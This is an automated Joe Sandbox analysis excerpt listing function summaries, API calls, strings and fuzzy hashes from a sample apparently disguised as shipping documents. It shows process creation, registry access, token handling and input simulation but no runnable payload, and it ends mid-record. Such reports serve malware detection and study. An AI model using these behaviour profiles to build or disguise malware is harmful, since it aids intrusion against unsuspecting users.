Instruction ID: aaeab0aa2bf561f51c296b973b8e874a0ad653fbc1f26ef92ccae4da5ede9813
Opcode Fuzzy Hash: b97a3536b15371a244e63f5bcbc0fd52127c17bce5b30df8aa55a004bd58e603
Instruction Fuzzy Hash: 2221493220862176D621AB359C02FF773D89F91315F506839FD8AB61C3EB949D8AC292

Function 00E875FF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E01D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00E01D73
Part of subcall function 00E01D35: GetStockObject.GDI32(00000011), ref: 00E01D87
Part of subcall function 00E01D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00E01D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00E87664
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00E87671
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00E8767C
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00E8768B
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00E87697

Strings

Msctls_Progress32, xrefs: 00E87635

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 6270f767528ac35fbf7f767b239065c2731c27f4d14c3c838d9e59ab4aef2471
Instruction ID: dd033286d5d8c8f5b911770c6186f2da3d24ad2ce9abe582ae6140bad93ff15a
Opcode Fuzzy Hash: 6270f767528ac35fbf7f767b239065c2731c27f4d14c3c838d9e59ab4aef2471
Instruction Fuzzy Hash: 1511E2B2150219BFEF109F64CC81EE77F6DEF08358F115125BA48B20A0D772AC21EBA0

Function 00E8B669 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E8B678
_memset.LIBCMT ref: 00E8B687
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00EC6F20,00EC6F64), ref: 00E8B6B6
CloseHandle.KERNEL32 ref: 00E8B6C8

Strings

do, xrefs: 00E8B681
o, xrefs: 00E8B672

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID: o$do
API String ID: 3277943733-2180341428
Opcode ID: 143fea7fe0a4a6ac6353e14aa885b869ce9bcf1004358680952d8654ac7eba36
Instruction ID: 8e1e7cb207563d8b722a40e88ff1fa79b231157643d341ef199c036d5d164bdc
Opcode Fuzzy Hash: 143fea7fe0a4a6ac6353e14aa885b869ce9bcf1004358680952d8654ac7eba36
Instruction Fuzzy Hash: B4F05EB2740354BEF2102B62BC06FBB3B9CEB08354F005038FA08F51A2D7729C0587A8

Function 00E24109 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00E241D2,?), ref: 00E24123
GetProcAddress.KERNEL32(00000000), ref: 00E2412A
EncodePointer.KERNEL32(00000000), ref: 00E24136
DecodePointer.KERNEL32(00000001,00E241D2,?), ref: 00E24153

Strings

combase.dll, xrefs: 00E2411E
RoInitialize, xrefs: 00E24112

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 11c65d3e17654bc8a9e3eccb958b68873766001af903e943ca32c0154de0fd2d
Instruction ID: ceabe8e585647aac01e15cabad5ed8fff88652eb70be55477ef3160756d17a9c
Opcode Fuzzy Hash: 11c65d3e17654bc8a9e3eccb958b68873766001af903e943ca32c0154de0fd2d
Instruction Fuzzy Hash: 1AE01A70692300AFEF116B72EC0DF443AA4AB16B07F109438F545F50F0CBB681899F00

Function 00E241DE Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00E240F8), ref: 00E241F8
GetProcAddress.KERNEL32(00000000), ref: 00E241FF
EncodePointer.KERNEL32(00000000), ref: 00E2420A
DecodePointer.KERNEL32(00E240F8), ref: 00E24225

Strings

combase.dll, xrefs: 00E241F3
RoUninitialize, xrefs: 00E241E7

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: cac7f33a9e69e275611f9fc365652dab12cae7fd575f08d97cbfe3e283e7a29f
Instruction ID: 8b4bb4541e5540d7f2befdb45cf680dd5c27ca58772265c1dce33d2b2e73f66d
Opcode Fuzzy Hash: cac7f33a9e69e275611f9fc365652dab12cae7fd575f08d97cbfe3e283e7a29f
Instruction Fuzzy Hash: C6E07EB0592300AEEA109B73AD0DB453AA4AB04B46F18902AF115F10B0CBB786099B14

Function 00E66561 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E666B4
_memmove.LIBCMT ref: 00E665EF

Part of subcall function 00E09997: __itow.LIBCMT ref: 00E099C2
Part of subcall function 00E09997: __swprintf.LIBCMT ref: 00E09A0C

_memmove.LIBCMT ref: 00E66662
_memmove.LIBCMT ref: 00E66749
_memmove.LIBCMT ref: 00E66762
_memmove.LIBCMT ref: 00E6677E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: d71ad6ed913707e2b815a32644a8879520e2049a879510b7f1fec780915a6271
Instruction ID: f278bed400bf711c3860e0191e5acd62b60ed64ba440b91d9478668f323b4e2b
Opcode Fuzzy Hash: d71ad6ed913707e2b815a32644a8879520e2049a879510b7f1fec780915a6271
Instruction Fuzzy Hash: 1E619A3065025A9BDF11EF64E882AFE7BE4AF44348F046519F89A7B1D3DB30AD41CB90

Function 00E8026F Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E07F41: _memmove.LIBCMT ref: 00E07F82

Part of subcall function 00E80EA5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E7FE38,?,?), ref: 00E80EBC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E80348
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00E80388
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00E803AB
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00E803D4
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00E80417
RegCloseKey.ADVAPI32(00000000), ref: 00E80424

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 21175da51eac87eb3b6fa655d1a49cd50fa1a0c9b12a0d947b925caf7a78561a
Instruction ID: 77a4789cebf6ca9b8b628431719bb9111b5d488fa9731544d8dd66c9e57616dc
Opcode Fuzzy Hash: 21175da51eac87eb3b6fa655d1a49cd50fa1a0c9b12a0d947b925caf7a78561a
Instruction Fuzzy Hash: FA513931208200AFD714EF64D885E6FBBE9FF88314F04591DF599A72A2DB31E949CB52

Function 00E85802 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00E85864
GetMenuItemCount.USER32(00000000), ref: 00E8589B
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00E858C3
GetMenuItemID.USER32(?,?), ref: 00E85932
GetSubMenu.USER32(?,?), ref: 00E85940
PostMessageW.USER32(?,00000111,?,00000000), ref: 00E85991

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 748ec243a7faab1b9a011b46aeeb93bd0091ca063d82a3232d9bb1af1499fc2a
Instruction ID: 9cda5e4e581923f477647e08079821997371ebfcc9177c44f1b65ee8ce8d2f5a
Opcode Fuzzy Hash: 748ec243a7faab1b9a011b46aeeb93bd0091ca063d82a3232d9bb1af1499fc2a
Instruction Fuzzy Hash: C0519436A00615EFCF15EFA4C845AAEB7F4EF48320F10546AE959B7351CB70AE41CB90

Function 00E5F1FE Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00E5F218
VariantClear.OLEAUT32(00000013), ref: 00E5F28A
VariantClear.OLEAUT32(00000000), ref: 00E5F2E5
_memmove.LIBCMT ref: 00E5F30F
VariantClear.OLEAUT32(?), ref: 00E5F35C
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00E5F38A

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 19e0e943d663eb06d1c175f95a39f80f8bbde664aec7a9fdfb5359158a7f53bd
Instruction ID: 7446d9f14bdb531d851dee1e8c1cf9d4120e85c8a75dba799fe585759c58bb42
Opcode Fuzzy Hash: 19e0e943d663eb06d1c175f95a39f80f8bbde664aec7a9fdfb5359158a7f53bd
Instruction Fuzzy Hash: EE5139B5A00209EFDB14CF58C884AAAB7B8FF4C315B15856AED59EB301D730E915CFA0

Function 00E62502 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E62550
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E6259B
IsMenu.USER32(00000000), ref: 00E625BB
CreatePopupMenu.USER32 ref: 00E625EF
GetMenuItemCount.USER32(000000FF), ref: 00E6264D
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00E6267E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 4990fe1e85cbd0d17354cb504e02a643d31b07fd134a5fc940029e97e2ea7889
Instruction ID: 21e69acd8abcc3b44dbc4df8742b966450ce8aab3f3fe3723caea6e1a59611d7
Opcode Fuzzy Hash: 4990fe1e85cbd0d17354cb504e02a643d31b07fd134a5fc940029e97e2ea7889
Instruction Fuzzy Hash: 2B51C170A40A06DFDF20CF68E888AADBBF4BF14398F14916DEA15B7290D7709944CB52

Function 00E01765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00E02612: GetWindowLongW.USER32(?,000000EB), ref: 00E02623

BeginPaint.USER32(?,?,?,?,?,?), ref: 00E0179A
GetWindowRect.USER32(?,?), ref: 00E017FE
ScreenToClient.USER32(?,?), ref: 00E0181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00E0182C
EndPaint.USER32(?,?), ref: 00E01876

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 6ae6c0c6d9ea3ddb7fb205d4002f66f9d8e52db059891826576d4fa0735d76c9
Instruction ID: 6f16c40b987b4fa31e0c6db431f6cc1668f40170c2ba0e27edc48ff04686b8b0
Opcode Fuzzy Hash: 6ae6c0c6d9ea3ddb7fb205d4002f66f9d8e52db059891826576d4fa0735d76c9
Instruction Fuzzy Hash: E841B031100200AFC710DF25DC88FBA7BE8EB45724F044279FA95AA1F2C731A889DB61

Function 00E8B6D2 Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(00EC57B0,00000000,00FC5FB0,?,?,00EC57B0,?,00E8B5DC,?,?), ref: 00E8B746
EnableWindow.USER32(00000000,00000000), ref: 00E8B76A
ShowWindow.USER32(00EC57B0,00000000,00FC5FB0,?,?,00EC57B0,?,00E8B5DC,?,?), ref: 00E8B7CA
ShowWindow.USER32(00000000,00000004,?,00E8B5DC,?,?), ref: 00E8B7DC
EnableWindow.USER32(00000000,00000001), ref: 00E8B800
SendMessageW.USER32(?,0000130C,?,00000000), ref: 00E8B823

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: d58846d53e86329f143a8c7d139c7414566ace6c17fff59a270cff09a55b610c
Instruction ID: f8c302eb3a5ba13879fddfda31525f73679d986067f38e2f1b168f075db62ab8
Opcode Fuzzy Hash: d58846d53e86329f143a8c7d139c7414566ace6c17fff59a270cff09a55b610c
Instruction Fuzzy Hash: 8F418435600244EFDB25DF24C489B947BE1FF45319F1842BAF94CAF2A2C732A846CB95

Function 00E771B3 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00E74F57,?,?,00000000,00000001), ref: 00E771C1

Part of subcall function 00E73AB6: GetWindowRect.USER32(?,?), ref: 00E73AC9

GetDesktopWindow.USER32 ref: 00E771EB
GetWindowRect.USER32(00000000), ref: 00E771F2
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00E77224

Part of subcall function 00E652EB: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00E65363

GetCursorPos.USER32(?), ref: 00E77250
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00E772AE

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 338d03a414ae211d86343e25967a54c284fb2b9d4940f265258ac7f97fb9c8fb
Instruction ID: 4e166b4240fab8362f9565bd281caf52300f512a02d2658473d2157eb4535dab
Opcode Fuzzy Hash: 338d03a414ae211d86343e25967a54c284fb2b9d4940f265258ac7f97fb9c8fb
Instruction Fuzzy Hash: F9310472209305AFD720DF14D849B9BB7E9FF88304F001929F498A71A1CB30ED09CB92

Function 00E58B3B Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E583D1: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00E583E8
Part of subcall function 00E583D1: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00E583F2
Part of subcall function 00E583D1: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00E58401
Part of subcall function 00E583D1: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00E58408
Part of subcall function 00E583D1: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00E5841E

GetLengthSid.ADVAPI32(?,00000000,00E58757), ref: 00E58B8C
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00E58B98
HeapAlloc.KERNEL32(00000000), ref: 00E58B9F
CopySid.ADVAPI32(00000000,00000000,?), ref: 00E58BB8
GetProcessHeap.KERNEL32(00000000,00000000,00E58757), ref: 00E58BCC
HeapFree.KERNEL32(00000000), ref: 00E58BD3

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 969c7f01ceaad6a3b7e96c2465951019d147bd89222e4a4280297dd33c5563f4
Instruction ID: 87ab2e5bafdb63fc17460582d0453f2d19ba22686a76bf8e068505d15c7ebc91
Opcode Fuzzy Hash: 969c7f01ceaad6a3b7e96c2465951019d147bd89222e4a4280297dd33c5563f4
Instruction Fuzzy Hash: DC11B1B5901205FFDB909FA5CD09FAE77ACEB4531AF104828E949F7150CB319A08CB60

Function 00E588D9 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00E5890A
OpenProcessToken.ADVAPI32(00000000), ref: 00E58911
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00E58920
CloseHandle.KERNEL32(00000004), ref: 00E5892B
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00E5895A
DestroyEnvironmentBlock.USERENV(00000000), ref: 00E5896E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: f419000132f29dc0462fba9e3d07c664718d32d6510f6e9c55d1d5b13aaa398a
Instruction ID: 067a87ac6054105835385a861f7c55d444a634a0c081ef3a28afca0a3c0a954d
Opcode Fuzzy Hash: f419000132f29dc0462fba9e3d07c664718d32d6510f6e9c55d1d5b13aaa398a
Instruction Fuzzy Hash: 48115C72500209AFDF018FA5DD49BEA7BA9EF49319F144065FE08B2160C7768D68AB61

Function 00E202E2 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00E20313
MapVirtualKeyW.USER32(00000010,00000000), ref: 00E2031B
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00E20326
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00E20331
MapVirtualKeyW.USER32(00000011,00000000), ref: 00E20339
MapVirtualKeyW.USER32(00000012,00000000), ref: 00E20341

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 559457ea0a1c4adb0b58381e04bc51ca5cd8553ca50f1dd6d4907c48ce253a4e
Instruction ID: 37620c0a6671a5cec699ac88e052411fee0bf3f1276c3770c25fc5cdfde5b358
Opcode Fuzzy Hash: 559457ea0a1c4adb0b58381e04bc51ca5cd8553ca50f1dd6d4907c48ce253a4e
Instruction Fuzzy Hash: 7F016CB09017597DE3008F5A8C85B52FFA8FF19354F00411BE15C87941C7F5A868CBE5

Function 00E65490 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00E654A0
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00E654B6
GetWindowThreadProcessId.USER32(?,?), ref: 00E654C5
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00E654D4
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00E654DE
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00E654E5

Memory Dump Source

